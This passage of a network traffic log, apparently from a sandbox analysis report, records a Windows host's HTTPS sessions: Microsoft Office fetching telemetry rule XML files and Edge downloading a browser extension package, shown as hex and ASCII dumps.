2024-11-09 21:09:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210939Z-16547b76f7fkj7j4hC1DFW0a9g0000000bmg00000000gc2a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:39 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210939Z-16547b76f7f67wxlhC1DFWah9w0000000bp000000000an9p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49810	172.217.16.129	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:39 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:40 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY3QQ5fgSj9dLPkcV0NdaZ0c-VooMEesbBhnfhT-ElIAHpOdfIXxOFoF0aqmWLnoMq6oOktKM1Qo4w X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sat, 09 Nov 2024 20:33:29 GMT Expires: Sun, 09 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 2171 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-09 21:09:40 UTC	806	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d Data Ascii: s!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae Data Ascii: A1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-09 21:09:40 UTC	1378	IN	Data Raw: 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/mes

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:40 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210940Z-16547b76f7fp46ndhC1DFW66zg0000000br000000000ac37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 94271b33-901e-0067-284a-2eb5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210940Z-15869dbbcc6x4rp4hC1DFW3t7w0000000dtg00000000mq7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:40 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:40 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4a1cb9ec-a01e-0021-5a00-2d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210940Z-16547b76f7fr4g8xhC1DFW9cqc0000000avg00000000bc7a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:40 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
